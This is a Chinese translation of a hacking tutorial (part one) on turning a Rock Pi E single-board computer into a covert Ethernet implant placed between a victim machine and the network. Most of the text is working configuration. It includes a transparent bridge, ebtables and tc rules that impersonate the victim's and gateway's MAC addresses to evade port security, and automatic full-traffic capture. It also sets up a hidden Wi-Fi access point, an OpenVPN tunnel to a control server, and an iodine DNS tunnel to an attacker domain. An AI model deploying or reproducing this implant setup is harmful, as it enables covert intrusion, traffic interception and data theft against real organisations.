持久化:构建小型以太网持久化设备(第一部分)

导语:黑客获取目标设备未授权访问的方式不仅可以通过USB端口,还可以通过以太网连接——在现代办公室里,以太网端口无处不在。在本文中,我们将详细了解黑客如何利用一种特殊的”隐形”设备渗透本地网络,以及这种设备的设计原理。

你有多少次注意到打印机、IP电话,甚至是一整台电脑被放在某个公共场所?这些设备的共同点是它们通常使用标准网线连接到本地网络。

试想一下,攻击者如何利用一个无人值守的网络端口,连接的不是合法设备,而是一个特殊准备的装置——能够从世界任何地方提供远程访问。更重要的是,这个恶意设备可以插入而不中断原始设备的连接,而是放置在连接的”中间”位置。

这种设备的一个现成选项是Packet Squirrel(数据包松鼠)。也可以使用Rock Pi E这样的单板计算机轻松组装。

Rock Pi E单板计算机

这块开发板非常适合这个任务,只包含必要组件。它有两个以太网端口、Wi-Fi和USB。Rock Pi E还支持可选的PoE(以太网供电),因此可以在没有USB电源的情况下工作——而USB电源在便利位置并不总是可用的。

我们需要什么

我们需要的是一个基于软件的集线器,能够将一个以太网端口接收到的每个数据包镜像到另一个端口。这允许设备无论连接在哪里都能插入网络。在端口之间转发数据包时,设备可以执行任何操作而不会引起受害者注意。此外,集线器配置应满足以下要求:

  1. 记录通过设备的所有流量
  2. 通过所连接的网络建立到控制服务器的VPN隧道,从世界任何地方提供远程访问
  3. 创建另一个使用DNS泄露的VPN隧道,即使没有直接互联网访问
  4. 设备通过内置Wi-Fi适配器提供网络访问
  5. 设备可以使用外部4G调制解调器建立连接

自然而然,所有这些都必须在设备连接后自动工作,因为黑客可能没有时间进行手动配置。为了灵活部署,可以使用额外的补丁线缆。

Rock Pi E设备展示

实现

将单板计算机配置为插入物理连接并不特别困难。首先,需要禁用可能干扰的默认组件:

Pi > update-rc.d network-manager disable
Pi > update-rc.d dhcpcd disable

接下来,配置自动桥接eth0和eth1接口:

/etc/network/interfaces

iface eth0 inet manual
iface eth1 inet manual

auto br0
iface br0 inet dhcp
    bridge_ports eth0 eth1
    metric 2

这是最小化设置。此时,硬件植入设备已经可以在透明桥接模式下运行了。在一个以太网端口上接收到的所有内容都会镜像到另一个端口,反之亦然。然而,黑客需要的不仅仅是被动流量转发。该设备还必须提供远程访问,这需要额外的内部网络配置。根据不同情况,可以使用不同的方法。

动态网络配置

许多组织使用DHCP进行自动网络配置。一旦设备获得自己的IP地址,它就不再只是一个”傻瓜”集线器,可以主动在网络中运行并转发流量。

由于植入物可能会长时间连接,而网络可能在VLAN之间切换,攻击者理想情况下会确保设备始终能够刷新其网络设置。这是通过强制周期性DHCP租约续订并在请求失败时重试来实现的。

/etc/dhcp/dhclient.conf

send dhcp-lease-time 60;
retry 60;

静态配置

并非所有本地网络都有DHCP服务器。如果攻击者进入服务器网段或工业网络并放置植入物,情况尤其如此。在这种情况下,攻击者可以手动预配置网络设置。

/etc/network/interfaces

auto br0
iface br0 inet static
    bridge_ports eth0 eth1
    hwaddress ether 00:11:22:33:44:55
    address 10.0.0.10
    netmask 255.255.255.0
    gateway 10.0.0.1
    dns-nameservers 10.0.0.2
    dns-search corp.local
    metric 2

端口安全

企业网络通常只允许特定的MAC地址访问。在这种情况下,受害者流量仍然会通过,因为桥接会透明地转发带有原始MAC地址的数据包。但是,使用自己的IP地址直接从Packet Squirrel进行访问将被阻止。但由于设备连接到受害者的计算机,它知道可信的MAC地址。因此,如果从设备发出的每个数据包都被修改,使得发送方MAC地址在一个端口上与受害者MAC地址匹配,在另一个端口上与网关MAC地址匹配,则流量与合法通信无法区分。

虽然这个概念听起来很简单,但实现起来并不容易。设备必须同时在两个方向上透明转发流量,同时还要代表受害者生成流量。一种可能的方法是复制受害者的MAC和IP地址:

Pi > sudo ifconfig br0 hw ether "$victim_mac"
Pi > sudo ifconfig br0 "$victim_ip/24"
Pi > sudo route add -net default gw "$gw_ip"

然而,这会导致系统内核由于MAC地址冲突而无法正确转发数据包的问题。为了绕过这个限制,设备可以在内部保留自己的MAC地址,但在数据包即将离开网络接口之前才重写MAC地址。

Pi > sudo ifconfig br0 "$victim_ip/24"
Pi > sudo route add default gw "$gw_ip"

# 网关方向
Pi > sudo ebtables -t nat -A POSTROUTING -o eth0 -s $(getmac -i br0) -j snat --to-src "$victim_mac" --snat-arp

Pi > sudo ebtables -t nat -A PREROUTING -i eth0 -d "$victim_mac" -j dnat --to-dst $(getmac -i br0)

# 受害者方向
Pi > sudo ebtables -t nat -A POSTROUTING -o eth1 -s $(getmac -i br0) -j snat --to-src "$gw_mac" --snat-arp

Pi > sudo ebtables -t nat -A PREROUTING -i eth1 -d "$gw_mac" -j dnat --to-dst $(getmac -i br0)

使用此设置,离开一个端口的数据包将具有受害者的MAC地址,离开另一个端口的数据包将使用网关的MAC地址。但是,传入的数据包也可能受到影响,从而阻止正常转发。使用标准基于桥接的数据包镜像在这里不方便,因为它为两个以太网端口创建了一个逻辑接口。攻击者需要通过每个接口独立发送数据包,同时仍保持透明转发。这可以使用流量控制机制来实现。

Pi > sudo ifconfig eth0 0 promisc up
Pi > sudo ifconfig eth1 0 promisc up
Pi > sudo ifconfig eth0 "$victim_ip/24" # 作为受害者向网关(LAN)操作
Pi > #sudo ifconfig eth1 "$gw_ip/24" # 相同,但向受害者
Pi > route add -net default gw "$gw_ip"

Pi > sudo tc qdisc add dev eth0 ingress
Pi > sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1

Pi > sudo tc qdisc add dev eth1 ingress
Pi > sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0

Pi > sudo iptables -A INPUT -i eth0 -p icmp -j DROP # 不响应来自传入的ICMP gw->victim

Pi > sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags SYN,ACK,RST,FIN RST -j DROP # 忽略ACK包,不在它们上面发送RST,以免破坏受害者的连接

使用此配置,设备可以插入合法的物理连接,在两个方向上透明镜像流量,同时代表受害者发送数据包。

被动嗅探

由于设备可以透明转发流量,因此可以轻松启用自动数据包捕获。

/lib/systemd/system/tcpdump.service

[Unit]
Description=tcpdump

[Service]
ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcap
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

可以使用服务将流量记录配置为在系统启动时自动开始。

Pi > systemctl enable tcpdump.service
Pi > systemctl start tcpdump.service

由于所有流量都被记录,生成的转储文件可能会变得相当大。因此最好将它们存储在SD卡上的单独分区中。

/etc/fstab

/dev/mmcblk0p3 /media/sd ext3 defaults 0 0

Wi-Fi访问

由于该设备包含内置Wi-Fi适配器,因此可用于提供远程访问。这需要在适当的配置文件中指定无线网络设置。

/etc/network/interfaces

auto wlan0
iface wlan0 inet static
    address 11.0.0.1
    netmask 255.255.255.0

客户端连接设置单独定义,无线网络相应配置。

/etc/dnsmasq.conf

domain=packet_squirrel.local
interface=wlan0
dhcp-range=11.0.0.10,11.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1

无线网络本身的配置如下:

/hostapd/hostapd.conf

interface=wlan0
driver=nl80211
ssid=packet squirrel
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=secretp@ssw0rd

所有必要的Wi-Fi服务都可以设置为自动启动:

Pi > systemctl unmask hostapd.service
Pi > systemctl enable hostapd.service
Pi > systemctl start hostapd.service

一旦植入物通电,黑客只需通过Wi-Fi连接即可访问网络。

VPN访问

黑客可以配置设备建立到远程控制服务器的VPN连接。

Pi > cp vds_config.ovpn /etc/openvpn/client/vds.conf
Pi > systemctl enable openvpn-client@vds

配置文件定义连接参数。

client
proto tcp
dev tap

remote 1.2.3.4 1194

user nobody

<ca>
</ca>

<cert>
</cert>

<key>
</key>

route-noexec
cipher AES-128-CBC

keepalive 10 60
comp-lzo
persist-key
persist-tun

设备将尝试通过当前网络或外部4G连接进行连接(稍后讨论)。

DNS隧道访问

在某些情况下,本地网络不允许直接访问互联网,使得标准VPN连接不可能。然而,外部域名的DNS解析通常是允许的。在这种情况下,可以使用DNS查询建立VPN通道。

/lib/systemd/system/iodine.service

[Unit]
Description=iodine
[Service]
ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tk
Restart=always
RestartSec=60
[Install]
WantedBy=default.target

DNS隧道的自动启动通过系统命令配置。

Pi > systemctl enable iodine.service
Pi > systemctl start iodine.service

即使内部网络没有直接互联网访问,但允许任意DNS查询,设备也可以建立到控制服务器的VPN隧道,为攻击者提供远程访问。

4G访问

该设备旨在使用TCP或DNS隧道通过受感染网络提供互联网连接。但是,如果根本没有互联网访问,可以使用外部4G USB调制解调器建立单独的通信通道。

这只需要在配置中添加几行代码。系统只需在调制解调器的网络接口上启用DHCP。现代HiLink调制解调器显示为标准以太网设备,这简化了设置。

/etc/network/interfaces
...
allow-hotplug eth2
auto eth2
iface eth2 inet dhcp
    metric 1

由于路由优先级设置,4G接口优先于以太网网络,确保当两条路由都可用时提供不间断的互联网访问。

总结

在所有场景中,以太网后门尝试连接到远程控制服务器,并为攻击者提供对内部网络的远程访问:

  1. 通过现有网络的VPN
  2. 通过现有网络使用DNS泄露的VPN
  3. 通过外部4G通道的VPN
  4. 通过Wi-Fi

此时,设备已完全配置,可在各种情况下运行。我们将在第二部分介绍如何使用此设备。请继续关注!


出处:https://hackers-arise.com/persistence-building-a-small-ethernet-persistence-device-part-1/

版权声明:本文由华盟网原创发布,保留所有权利。

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容